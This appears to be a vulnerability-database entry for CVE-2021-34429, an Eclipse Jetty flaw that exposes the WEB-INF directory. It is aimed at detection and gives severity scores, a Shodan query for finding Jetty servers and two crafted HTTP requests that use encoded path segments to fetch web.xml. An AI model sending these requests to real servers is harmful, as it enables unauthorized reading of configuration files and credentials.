🔙 목록으로 돌아가기

CVE-2021-34429: Eclipse Jetty - Information Disclosure

TitleEclipse Jetty - Information Disclosure
Authorbernardofsr,am0nt31r0
SeverityMedium
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to potential unauthorized access or further attacks.
RemediationApply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
CVSS Score5.3
EPSS Score0.93778
CVE IDCVE-2021-34429
CWE IDCWE-200,NVD-CWE-Other
Shodan Querycpe:"cpe:2.3:a:eclipse:jetty"
Tags cve2021 cve jetty eclipse vkev vuln

🔍 Vulnerability Description

Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.

🌐 HTTP Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
GET /.%00/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34429.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34429.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A